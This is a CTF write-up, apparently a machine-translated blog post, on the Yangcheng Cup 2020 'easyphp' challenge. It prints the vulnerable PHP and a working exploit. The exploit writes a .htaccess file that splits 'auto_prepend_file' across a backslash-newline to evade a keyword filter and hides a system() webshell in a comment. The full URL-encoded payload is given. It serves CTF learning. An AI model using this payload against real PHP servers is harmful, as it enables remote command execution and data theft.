当前位置:网站首页>[Yangcheng cup 2020] easyphp
[Yangcheng cup 2020] easyphp
2022-07-02 23:02:00 【-Gardenia blue-】
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>Code audit
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
If not index.php page , Page data will be deleted if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
} If no incoming content or filename Parameters are directly die
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
Pass in parameters content To filter , Not by on html type flag upload file$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
Pass in parameters filename To filter ,filename Only lowercase letters and . constitute , otherwise die$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
Just like the initial filtering , If not index.php The data will be deleted
file_put_contents($filename, $content . "\nHello, world");
Put our incoming content content write in filename Inside
But notice that there is a splice here Hello world, It will cause our program to report errors The original idea was filename by a.php,content Pass in a sentence , Result practice :

Discover as html Output directly on the page , There's no resolution , Maybe only parsing is set in the background index.php, After all, the code is right index.php There are many reminders , So I wonder if I can index.php We analyzed our htaccess, Just change the configuration item , So the learning boss learned that he really wanted to use htaccess To get flag
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>\htaccess in \ The function of is to splice context , amount to php_value auto_prepend_file.htaccess
Because in order to bypass the filter, from file In the middle

Among them, the use of annotations # Write a sentence into , Because in htaccess Is the function of the annotator , But in php When it comes to execution , In a word, the Trojan horse will be executed
In the third line \ It is for splicing with the last part of the code Hello,world Also as a note , otherwise hello world Go to the fourth line to report an error
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

边栏推荐
- [Solved] Splunk: Cannot get username when all users are selected“
- Jielizhi, production line assembly link [chapter]
- [羊城杯2020]easyphp
- Qt QScrollArea
- Mask R-CNN
- The motivation of AES Advanced Encryption Protocol
- Qt QScrollArea
- Storage unit conversion
- Array advanced improvement
- 【板栗糖GIS】global mapper 如何通过dsm批量制作贴地等高线
猜你喜欢

PMP project integration management

China Academy of information technology, Tsinghua University, Tencent security, cloud native security, industry university research and use strong alliance!
![The kth largest element in the [leetcode] array [215]](/img/72/d3e46a820796a48b458cd2d0a18f8f.png)
The kth largest element in the [leetcode] array [215]

Mask R-CNN

AES高级加密协议的动机阐述

性能优化----严苛模式
![Gas station [problem analysis - > problem conversion - > greed]](/img/15/5313f900abedb46ce82d8ab81af1d7.png)
Gas station [problem analysis - > problem conversion - > greed]
![[leetcode] most elements [169]](/img/72/d3e46a820796a48b458cd2d0a18f8f.png)
[leetcode] most elements [169]

【喜欢的诗词】好了歌

Splunk audit setting
随机推荐
【板栗糖GIS】arcmap—如何批量修改注记要素的字体,颜色,大小等
静态文件显示问题
Learning records of data analysis (II) -- simple use of response surface method and design expert
数组进阶提高
Innovation strength is recognized again! Tencent security MSS was the pioneer of cloud native security guard in 2022
P7072 [csp-j2020] live broadcast Award
Lambda expression: an article takes you through
[chestnut sugar GIS] ArcScene - how to make elevation map with height
Jerry's prototype has no touch, and the reinstallation becomes normal after dismantling [chapter]
用sentinel熔断比例阈值改不了,设置慢调用比例没效果
Go语言sqlx库操作SQLite3数据库增删改查
首批 | 腾讯云完成国内首个云原生安全成熟度评估
地方经销商玩转社区团购模式,百万运营分享
JS syntax ES6, ES7, es8, es9, ES10, es11, ES12 new features (Abstract)
LC173. 二叉搜索树迭代器
Jatpack------LiveData
Go multithreaded data search
Tronapi-波场接口-源码无加密-可二开--附接口文档-基于ThinkPHP5封装-作者详细指导-2022年7月1日08:43:06
泛型与反射,看这篇就够了
Methods to solve the tampering of Chrome browser and edeg browser homepage